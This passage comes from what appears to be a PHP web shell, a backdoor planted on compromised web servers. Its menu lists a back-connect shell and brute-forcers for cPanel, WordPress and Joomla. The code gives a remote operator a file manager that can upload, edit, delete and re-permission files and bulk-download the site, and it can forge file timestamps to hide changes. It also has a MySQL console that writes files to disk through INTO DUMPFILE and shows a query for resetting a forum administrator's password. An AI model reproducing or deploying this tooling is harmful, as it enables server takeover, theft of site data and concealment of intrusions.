944 <li><a href="javascript:goaction('bcphp');">Back Conect PHP</a></li>
945 </ul>
946
947 </li>
948 <li><a class="hsubs" href="#"><font color=#6CC417>Brute</font></a>
949 <ul class="subs">
950 <li><a href="javascript:goaction('brute');" >Brute Cpanel</a></li>
951 <li><a href="javascript:goaction('brutecpv2');" >Brute Cpanel V2</a></li>
952 <li><a href="javascript:goaction('brutewp');" >Brute Wordpress</a></li>
953 <li><a href="javascript:goaction('brutejl');" >Brute Joomla</a></li>
954 </ul>
955
956
957 </li>
958 <li><a href="javascript:goaction('findadmin');"><font color=#52F3FF>Find Admin</font></a></li>
959
960
961 <div id="lavalamp"></div>
962</ul>
963
964 </td>
965 </tr>
966</table>
967<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
968<?php
969
970formhead(array('name'=>'goaction'));
971makehide('action');
972formfoot();
973
974$errmsg && m($errmsg);
975
976// Dir function
977!$dir && $dir = '.';
978$nowpath = getPath(SA_ROOT, $dir);
979if (substr($dir, -1) != '/') {
980 $dir = $dir.'/';
981}
982$uedir = ue($dir);
983
984if (!$action || $action == 'file') {
985
986 // Non-writeable
987 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
988
989 // Delete dir
990 if ($doing == 'deldir' && $thefile) {
991 if (!file_exists($thefile)) {
992 m($thefile.' directory does not exist');
993 } else {
994 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
995 }
996 }
997
998 // Create new dir
999 elseif ($newdirname) {
1000 $mkdirs = $nowpath.$newdirname;
1001 if (file_exists($mkdirs)) {
1002 m('Directory has already existed');
1003 } else {
1004 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
1005 @chmod($mkdirs,0777);
1006 }
1007 }
1008
1009 // Upload file
1010 elseif ($doupfile) {
1011 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
1012 }
1013
1014 // Edit file
1015 elseif ($editfilename && $filecontent) {
1016 $fp = @fopen($editfilename,'w');
1017 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
1018 @fclose($fp);
1019 }
1020
1021 // Modify
1022 elseif ($pfile && $newperm) {
1023 if (!file_exists($pfile)) {
1024 m('The original file does not exist');
1025 } else {
1026 $newperm = base_convert($newperm,8,10);
1027 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
1028 }
1029 }
1030
1031 // Rename
1032 elseif ($oldname && $newfilename) {
1033 $nname = $nowpath.$newfilename;
1034 if (file_exists($nname) || !file_exists($oldname)) {
1035 m($nname.' has already existed or original file does not exist');
1036 } else {
1037 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
1038 }
1039 }
1040
1041 // Copu
1042 elseif ($sname && $tofile) {
1043 if (file_exists($tofile) || !file_exists($sname)) {
1044 m('The goal file has already existed or original file does not exist');
1045 } else {
1046 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
1047 }
1048 }
1049
1050 // File exit
1051 elseif ($curfile && $tarfile) {
1052 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
1053 m('The goal file has already existed or original file does not exist');
1054 } else {
1055 $time = @filemtime($tarfile);
1056 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
1057 }
1058 }
1059
1060 // Date
1061 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
1062 if (!@file_exists($curfile)) {
1063 m(basename($curfile).' does not exist');
1064 } else {
1065 $time = strtotime("$year-$month-$day $hour:$minute:$second");
1066 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
1067 }
1068 }
1069
1070 // Download
1071 elseif($doing == 'downrar') {
1072 if ($dl) {
1073 $dfiles='';
1074 foreach ($dl as $filepath => $value) {
1075 $dfiles.=$filepath.',';
1076 }
1077 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
1078 $dl=explode(',',$dfiles);
1079 $zip=new PHPZip($dl);
1080 $code=$zip->out;
1081 header('Content-type: application/octet-stream');
1082 header('Accept-Ranges: bytes');
1083 header('Accept-Length: '.strlen($code));
1084 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
1085 echo $code;
1086 exit;
1087 } else {
1088 m('Please select file(s)');
1089 }
1090 }
1091
1092 // Delete file
1093 elseif($doing == 'delfiles') {
1094 if ($dl) {
1095 $dfiles='';
1096 $succ = $fail = 0;
1097 foreach ($dl as $filepath => $value) {
1098 if (@unlink($filepath)) {
1099 $succ++;
1100 } else {
1101 $fail++;
1102 }
1103 }
1104 m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
1105 } else {
1106 m('Please select file(s)');
1107 }
1108 }
1109
1110 // Function Newdir
1111 formhead(array('name'=>'createdir'));
1112 makehide('newdirname');
1113 makehide('dir',$nowpath);
1114 formfoot();
1115 formhead(array('name'=>'fileperm'));
1116 makehide('newperm');
1117 makehide('pfile');
1118 makehide('dir',$nowpath);
1119 formfoot();
1120 formhead(array('name'=>'copyfile'));
1121 makehide('sname');
1122 makehide('tofile');
1123 makehide('dir',$nowpath);
1124 formfoot();
1125 formhead(array('name'=>'rename'));
1126 makehide('oldname');
1127 makehide('newfilename');
1128 makehide('dir',$nowpath);
1129 formfoot();
1130 formhead(array('name'=>'fileopform'));
1131 makehide('action');
1132 makehide('opfile');
1133 makehide('dir');
1134 formfoot();
1135
1136 $free = @disk_free_space($nowpath);
1137 !$free && $free = 0;
1138 $all = @disk_total_space($nowpath);
1139 !$all && $all = 0;
1140 $used = $all-$free;
1141 $used_percent = @round(100/($all/$free),2);
1142 p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
1143
1144?>
1145<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
1146 <form action="" method="post" id="godir" name="godir">
1147 <tr>
1148 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
1149 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
1150 <td nowrap><input class="bt" value="GO" type="submit"></td>
1151 </tr>
1152 </form>
1153</table>
1154<script type="text/javascript">
1155function createdir(){
1156 var newdirname;
1157 newdirname = prompt('Please input the directory name:', '');
1158 if (!newdirname) return;
1159 $('createdir').newdirname.value=newdirname;
1160 $('createdir').submit();
1161}
1162function fileperm(pfile){
1163 var newperm;
1164 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
1165 if (!newperm) return;
1166 $('fileperm').newperm.value=newperm;
1167 $('fileperm').pfile.value=pfile;
1168 $('fileperm').submit();
1169}
1170function copyfile(sname){
1171 var tofile;
1172 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
1173 if (!tofile) return;
1174 $('copyfile').tofile.value=tofile;
1175 $('copyfile').sname.value=sname;
1176 $('copyfile').submit();
1177}
1178function rename(oldname){
1179 var newfilename;
1180 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
1181 if (!newfilename) return;
1182 $('rename').newfilename.value=newfilename;
1183 $('rename').oldname.value=oldname;
1184 $('rename').submit();
1185}
1186function dofile(doing,thefile,m){
1187 if (m && !confirm(m)) {
1188 return;
1189 }
1190 $('filelist').doing.value=doing;
1191 if (thefile){
1192 $('filelist').thefile.value=thefile;
1193 }
1194 $('filelist').submit();
1195}
1196function createfile(nowpath){
1197 var filename;
1198 filename = prompt('Please input the file name:', '');
1199 if (!filename) return;
1200 opfile('editfile',nowpath + filename,nowpath);
1201}
1202function opfile(action,opfile,dir){
1203 $('fileopform').action.value=action;
1204 $('fileopform').opfile.value=opfile;
1205 $('fileopform').dir.value=dir;
1206 $('fileopform').submit();
1207}
1208function godir(dir,view_writable){
1209 if (view_writable) {
1210 $('godir').view_writable.value=1;
1211 }
1212 $('godir').dir.value=dir;
1213 $('godir').submit();
1214}
1215</script>
1216 <?php
1217 tbhead();
1218 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
1219 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
1220 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
1221 if ($view_writable) {
1222 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
1223 } else {
1224 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
1225 }
1226 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
1227 if (IS_WIN && IS_COM) {
1228 $obj = new COM('scripting.filesystemobject');
1229 if ($obj && is_object($obj)) {
1230 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
1231 foreach($obj->Drives as $drive) {
1232 if ($drive->DriveType == 2) {
1233 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
1234 } else {
1235 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
1236 }
1237 }
1238 }
1239 }
1240
1241 p('</td></tr></form>');
1242
1243 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
1244
1245 // Get path
1246 $dirdata=array();
1247 $filedata=array();
1248
1249 if ($view_writable) {
1250 $dirdata = GetList($nowpath);
1251 } else {
1252 // Open dir
1253 $dirs=@opendir($dir);
1254 while ($file=@readdir($dirs)) {
1255 $filepath=$nowpath.$file;
1256 if(@is_dir($filepath)){
1257 $dirdb['filename']=$file;
1258 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
1259 $dirdb['dirchmod']=getChmod($filepath);
1260 $dirdb['dirperm']=getPerms($filepath);
1261 $dirdb['fileowner']=getUser($filepath);
1262 $dirdb['dirlink']=$nowpath;
1263 $dirdb['server_link']=$filepath;
1264 $dirdb['client_link']=ue($filepath);
1265 $dirdata[]=$dirdb;
1266 } else {
1267 $filedb['filename']=$file;
1268 $filedb['size']=sizecount(@filesize($filepath));
1269 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
1270 $filedb['filechmod']=getChmod($filepath);
1271 $filedb['fileperm']=getPerms($filepath);
1272 $filedb['fileowner']=getUser($filepath);
1273 $filedb['dirlink']=$nowpath;
1274 $filedb['server_link']=$filepath;
1275 $filedb['client_link']=ue($filepath);
1276 $filedata[]=$filedb;
1277 }
1278 }// while
1279 unset($dirdb);
1280 unset($filedb);
1281 @closedir($dirs);
1282 }
1283 @sort($dirdata);
1284 @sort($filedata);
1285 $dir_i = '0';
1286 foreach($dirdata as $key => $dirdb){
1287 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
1288 $thisbg = bg();
1289 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1290 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
1291 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
1292 p('<td nowrap>'.$dirdb['mtime'].'</td>');
1293 p('<td nowrap>--</td>');
1294 p('<td nowrap>');
1295 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
1296 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
1297 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
1298 p('</tr>');
1299 $dir_i++;
1300 } else {
1301 if($dirdb['filename']=='..') {
1302 p('<tr class=fout>');
1303 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
1304 p('</tr>');
1305 }
1306 }
1307 }
1308
1309 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
1310 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
1311 makehide('action','file');
1312 makehide('thefile');
1313 makehide('doing');
1314 makehide('dir',$nowpath);
1315 $file_i = '0';
1316 foreach($filedata as $key => $filedb){
1317 if($filedb['filename']!='..' && $filedb['filename']!='.') {
1318 $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
1319 $thisbg = bg();
1320 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1321 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
1322 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
1323 p('<td nowrap>'.$filedb['mtime'].'</td>');
1324 p('<td nowrap>'.$filedb['size'].'</td>');
1325 p('<td nowrap>');
1326 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
1327 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
1328 p('<td nowrap>');
1329 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
1330 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
1331 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
1332 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
1333 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
1334 p('</td></tr>');
1335 $file_i++;
1336 }
1337 }
1338 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
1339 p('</form></table>');
1340}// end dir
1341
1342elseif ($action == 'sqlfile') {
1343 if($doing=="mysqlupload"){
1344 $file = $_FILES['uploadfile'];
1345 $filename = $file['tmp_name'];
1346 if (file_exists($savepath)) {
1347 m('The goal file has already existed');
1348 } else {
1349 if(!$filename) {
1350 m('Please choose a file');
1351 } else {
1352 $fp=@fopen($filename,'r');
1353 $contents=@fread($fp, filesize($filename));
1354 @fclose($fp);
1355 $contents = bin2hex($contents);
1356 if(!$upname) $upname = $file['name'];
1357 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1358 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
1359 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
1360 }
1361 }
1362 }
1363?>
1364<script type="text/javascript">
1365function mysqlfile(doing){
1366 if(!doing) return;
1367 $('doing').value=doing;
1368 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
1369 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
1370 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
1371 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
1372 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
1373 $('mysqlfile').charset.value=$('dbinfo').charset.value;
1374 $('mysqlfile').submit();
1375}
1376</script>
1377<?php
1378 !$dbhost && $dbhost = 'localhost';
1379 !$dbuser && $dbuser = 'root';
1380 !$dbport && $dbport = '3306';
1381 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
1382 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
1383 makehide('action','sqlfile');
1384 p('<p>');
1385 p('DBHost:');
1386 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1387 p(':');
1388 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1389 p('DBUser:');
1390 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1391 p('DBPass:');
1392 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1393 p('DBName:');
1394 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
1395 p('DBCharset:');
1396 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
1397 p('</p>');
1398 formfoot();
1399 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
1400 p('<h2>Upload file</h2>');
1401 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
1402 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
1403 p('<h2>Download file</h2>');
1404 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
1405 makehide('dbhost');
1406 makehide('dbport');
1407 makehide('dbuser');
1408 makehide('dbpass');
1409 makehide('dbname');
1410 makehide('charset');
1411 makehide('doing');
1412 makehide('action','sqlfile');
1413 p('</form>');
1414}
1415
1416elseif ($action == 'sqladmin') {
1417 !$dbhost && $dbhost = 'localhost';
1418 !$dbuser && $dbuser = 'root';
1419 !$dbport && $dbport = '3306';
1420 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
1421 if(isset($dbhost)){
1422 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
1423 }
1424 if(isset($dbuser)) {
1425 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
1426 }
1427 if(isset($dbpass)) {
1428 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
1429 }
1430 if(isset($dbport)) {
1431 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
1432 }
1433 if(isset($dbname)) {
1434 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
1435 }
1436 if(isset($charset)) {
1437 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
1438 }
1439
1440 if ($doing == 'backupmysql' && $saveasfile) {
1441 if (!$table) {
1442 m('Please choose the table');
1443 } else {
1444 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1445 $table = array_flip($table);
1446 $fp = @fopen($path,'w');
1447 if ($fp) {
1448 $result = q('SHOW tables');
1449 if (!$result) p('<h2>'.mysql_error().'</h2>');
1450 $mysqldata = '';
1451 while ($currow = mysql_fetch_array($result)) {
1452 if (isset($table[$currow[0]])) {
1453 sqldumptable($currow[0], $fp);
1454 }
1455 }
1456 fclose($fp);
1457 $fileurl = str_replace(SA_ROOT,'',$path);
1458 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
1459 mysql_close();
1460 } else {
1461 m('Backup failed');
1462 }
1463 }
1464 }
1465 if ($insert && $insertsql) {
1466 $keystr = $valstr = $tmp = '';
1467 foreach($insertsql as $key => $val) {
1468 if ($val) {
1469 $keystr .= $tmp.$key;
1470 $valstr .= $tmp."'".addslashes($val)."'";
1471 $tmp = ',';
1472 }
1473 }
1474 if ($keystr && $valstr) {
1475 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1476 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
1477 }
1478 }
1479 if ($update && $insertsql && $base64) {
1480 $valstr = $tmp = '';
1481 foreach($insertsql as $key => $val) {
1482 $valstr .= $tmp.$key."='".addslashes($val)."'";
1483 $tmp = ',';
1484 }
1485 if ($valstr) {
1486 $where = base64_decode($base64);
1487 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1488 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
1489 }
1490 }
1491 if ($doing == 'del' && $base64) {
1492 $where = base64_decode($base64);
1493 $delete_sql = "DELETE FROM $tablename WHERE $where";
1494 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1495 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
1496 }
1497
1498 if ($tablename && $doing == 'drop') {
1499 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1500 if (q("DROP TABLE $tablename")) {
1501 m('Drop table of success');
1502 $tablename = '';
1503 } else {
1504 m(mysql_error());
1505 }
1506 }
1507
1508 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
1509
1510 formhead(array('title'=>'MYSQL Manager'));
1511 makehide('action','sqladmin');
1512 p('<p>');
1513 p('DBHost:');
1514 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1515 p(':');
1516 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1517 p('DBUser:');
1518 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1519 p('DBPass:');
1520 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1521 p('DBCharset:');
1522 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
1523 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
1524 p('</p>');
1525 formfoot();
1526?>
1527<script type="text/javascript">
1528function editrecord(action, base64, tablename){
1529 if (action == 'del') {
1530 if (!confirm('Is or isn\'t deletion record?')) return;
1531 }
1532 $('recordlist').doing.value=action;
1533 $('recordlist').base64.value=base64;
1534 $('recordlist').tablename.value=tablename;
1535 $('recordlist').submit();
1536}
1537function moddbname(dbname) {
1538 if(!dbname) return;
1539 $('setdbname').dbname.value=dbname;
1540 $('setdbname').submit();
1541}
1542function settable(tablename,doing,page) {
1543 if(!tablename) return;
1544 if (doing) {
1545 $('settable').doing.value=doing;
1546 }
1547 if (page) {
1548 $('settable').page.value=page;
1549 }
1550 $('settable').tablename.value=tablename;
1551 $('settable').submit();
1552}
1553</script>
1554<?php
1555 // SQL
1556 formhead(array('name'=>'recordlist'));
1557 makehide('doing');
1558 makehide('action','sqladmin');
1559 makehide('base64');
1560 makehide('tablename');
1561 p($dbform);
1562 formfoot();
1563
1564 // Data
1565 formhead(array('name'=>'setdbname'));
1566 makehide('action','sqladmin');
1567 p($dbform);
1568 if (!$dbname) {
1569 makehide('dbname');
1570 }
1571 formfoot();
1572
1573
1574 formhead(array('name'=>'settable'));
1575 makehide('action','sqladmin');
1576 p($dbform);
1577 makehide('tablename');
1578 makehide('page',$page);
1579 makehide('doing');
1580 formfoot();
1581
1582 $cachetables = array();
1583 $pagenum = 30;
1584 $page = intval($page);
1585 if($page) {
1586 $start_limit = ($page - 1) * $pagenum;
1587 } else {
1588 $start_limit = 0;
1589 $page = 1;
1590 }
1591 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
1592 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1593 // get mysql server
1594 $mysqlver = mysql_get_server_info();
1595 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
1596 $highver = $mysqlver > '4.1' ? 1 : 0;
1597
1598 // Show database
1599 $query = q("SHOW DATABASES");
1600 $dbs = array();
1601 $dbs[] = '-- Select a database --';
1602 while($db = mysql_fetch_array($query)) {
1603 $dbs[$db['Database']] = $db['Database'];
1604 }
1605 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
1606 $tabledb = array();
1607 if ($dbname) {
1608 p('<p>');
1609 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
1610 if ($tablename) {
1611 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
1612 }
1613 p('</p>');
1614 mysql_select_db($dbname);
1615
1616 $getnumsql = '';
1617 $runquery = 0;
1618 if ($sql_query) {
1619 $runquery = 1;
1620 }
1621 $allowedit = 0;
1622 if ($tablename && !$sql_query) {
1623 $sql_query = "SELECT * FROM $tablename";
1624 $getnumsql = $sql_query;
1625 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
1626 $allowedit = 1;
1627 }
1628 p('<form action="'.$self.'" method="POST">');
1629 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
1630 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1631 makehide('tablename', $tablename);
1632 makehide('action','sqladmin');
1633 p($dbform);
1634 p('</form>');
1635 if ($tablename || ($runquery && $sql_query)) {
1636 if ($doing == 'structure') {
1637 $result = q("SHOW COLUMNS FROM $tablename");
1638 $rowdb = array();
1639 while($row = mysql_fetch_array($result)) {
1640 $rowdb[] = $row;
1641 }
1642 p('<table border="0" cellpadding="3" cellspacing="0">');
1643 p('<tr class="head">');
1644 p('<td>Field</td>');
1645 p('<td>Type</td>');
1646 p('<td>Null</td>');
1647 p('<td>Key</td>');
1648 p('<td>Default</td>');
1649 p('<td>Extra</td>');
1650 p('</tr>');
1651 foreach ($rowdb as $row) {
1652 $thisbg = bg();
1653 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1654 p('<td>'.$row['Field'].'</td>');
1655 p('<td>'.$row['Type'].'</td>');
1656 p('<td>'.$row['Null'].' </td>');
1657 p('<td>'.$row['Key'].' </td>');
1658 p('<td>'.$row['Default'].' </td>');
1659 p('<td>'.$row['Extra'].' </td>');
1660 p('</tr>');
1661 }
1662 tbfoot();
1663 } elseif ($doing == 'insert' || $doing == 'edit') {
1664 $result = q('SHOW COLUMNS FROM '.$tablename);
1665 while ($row = mysql_fetch_array($result)) {
1666 $rowdb[] = $row;
1667 }
1668 $rs = array();
1669 if ($doing == 'insert') {
1670 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1671 } else {
1672 p('<h2>Update record in '.$tablename.' table »</h2>');
1673 $where = base64_decode($base64);
1674 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1675 $rs = mysql_fetch_array($result);
1676 }
1677 p('<form method="post" action="'.$self.'">');
1678 p($dbform);
1679 makehide('action','sqladmin');
1680 makehide('tablename',$tablename);
1681 p('<table border="0" cellpadding="3" cellspacing="0">');
1682 foreach ($rowdb as $row) {
1683 if ($rs[$row['Field']]) {
1684 $value = htmlspecialchars($rs[$row['Field']]);
1685 } else {
1686 $value = '';
1687 }
1688 $thisbg = bg();
1689 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1690 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1691 }
1692 if ($doing == 'insert') {
1693 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1694 } else {
1695 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1696 makehide('base64', $base64);
1697 }
1698 p('</table></form>');
1699 } else {
1700 $querys = @explode(';',$sql_query);
1701 foreach($querys as $num=>$query) {
1702 if ($query) {
1703 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1704 switch(qy($query))
1705 {
1706 case 0:
1707 p('<h2>Error : '.mysql_error().'</h2>');
1708 break;
1709 case 1:
1710 if (strtolower(substr($query,0,13)) == 'select * from') {
1711 $allowedit = 1;
1712 }
1713 if ($getnumsql) {
1714 $tatol = mysql_num_rows(q($getnumsql));
